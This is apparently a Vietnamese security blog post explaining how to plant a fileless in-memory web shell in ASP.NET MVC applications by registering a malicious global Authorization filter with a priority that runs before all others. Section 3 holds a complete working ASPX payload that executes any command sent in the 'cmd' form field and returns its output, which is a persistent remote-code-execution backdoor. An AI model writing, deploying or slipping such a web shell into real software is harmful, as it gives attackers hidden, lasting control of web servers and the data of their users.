Filter Memory Shell

0. Pre-face

Bài đầu tiên khá là nhẹ nhàng để làm quen với môi trường ASP.NET

Trong ASP.NET thì ai cũng đã biết concept pipeline để handle request

Nói dễ hiểu là request sẽ được handle qua nhiều module (middleware) khác nhau để xử lý rồi trả về response. Trong quá trình process pipeline ta cũng có thể apply Filter để "filter" request như trong mô hình của Tomcat đã tìm hiểu ở Java. Với ý tưởng này thì mình sẽ tiến hành inject memshell thông qua Filter.

1. Cách Filter được Add

Đầu tiên ta sẽ tạo một project ASP.NET MVC trong Rider với .NET Framework 4.8

Ta sẽ có file structure như sau:

Tại file Global.asax sẽ được gọi mỗi khi start web, code behind của file này có nội dung như sau:

Ta sẽ thấy trong các khai báo được gọi khi Start ứng dụng có khai báo register Filters. Các khai báo trên sẽ gọi đến code được define sẵn trong thư mục App_Start. Nội dung file FilterConfig để add filter như sau

Nhảy vào hàm Add ta sẽ thấy được filter được add bởi GlobalFilterCollection trong namespace System.Web.Mvc.

Method này sẽ add Filter vào List<Filter>, điều đáng nói đây là method public nên ta có thể dễ dàng truy cập trực tiếp mà không cần dùng đến Reflection hay đi đường vòng như trong Java.

2. Các loại Filter

Trước khi thực hiện inject Filter thì ta sẽ tìm hiểu 1 chút về các loại Filter là priority giữa chúng

Theo docs thì ta có 4 loại như sau:

  • Authorization filters – Implements IAuthorizationFilter: Như tên gọi thì được dùng để authentication và authorization

  • Action filters – Implements IActionFilter: Chứa logic thực thi trước và sau khi thực thi Controller

  • Result filters – Implements IResultFilter: Thực thi trước và sau khi thực thi View

  • Exception filters – Implements IExceptionFilter: Handle Error

Về thứ tự thực thi thì cũng đi từ trên xuống dưới, Authorization filters sẽ được thực thi đầu tiên và Exception filters sẽ được thực thi cuối cùng. Do đó ta sẽ inject memshell vào Authorization filters để đảm bảo luôn RCE được.

Tuy nhiên khi có nhiều Filter cùng loại thì priority giữa chúng sẽ được quyết định theo giá trị của property Order và Scope. Khi Filter được khởi tạo ta sẽ thấy 2 property này được set vào Filter

Các Filter sẽ được so sánh priority theo logic sau

  • Nếu Order càng nhỏ thì càng ưu tiên

  • Nếu Order bằng nhau thì xét đến Scope

Các giá trị của FilterScope

Mặc định Filter.Order sẽ mang giá trị -1 nên ta chỉ cần gán Filter.Order giá trị nào đó < -1 là xong

3. Triển khai

Tóm lại những gì đã nói ở trên ta sẽ có file ASPX sau để triển khai memshell

<%@ Page Language="c#"%>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Mvc" %>
<script runat="server">
    public class MyAuthFilter : IAuthorizationFilter
    {
        public void OnAuthorization(AuthorizationContext filterContext)
        {
            String cmd = filterContext.HttpContext.Request.Form["cmd"]; 
            if (cmd != null)
            {
                HttpResponseBase response = filterContext.HttpContext.Response;
                Process p = new Process();
                p.StartInfo.FileName = cmd;
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.RedirectStandardError = true;
                p.Start();
                byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
                response.Write(System.Text.Encoding.Default.GetString(data));
            }
        }
    }
</script>
<%
    GlobalFilters.Filters.Add(new MyAuthFilter(), -2);
%>

Truy cập để load memshell

Khi load thành công ta có thể RCE với parameter cmd

4. Kết luận

Tóm lại điều kiện để triển khai loại memshell này là web ASP.NET dùng framework MVC.

Một điểm lưu ý khác với Java là ta không thể add Filter với path bất kỳ (/*) được, do đó nếu muốn trigger Filter ta phải truy cập 1 endpoint hợp lệ trên web, nếu không thì sẽ lỗi

Refer:

Last updated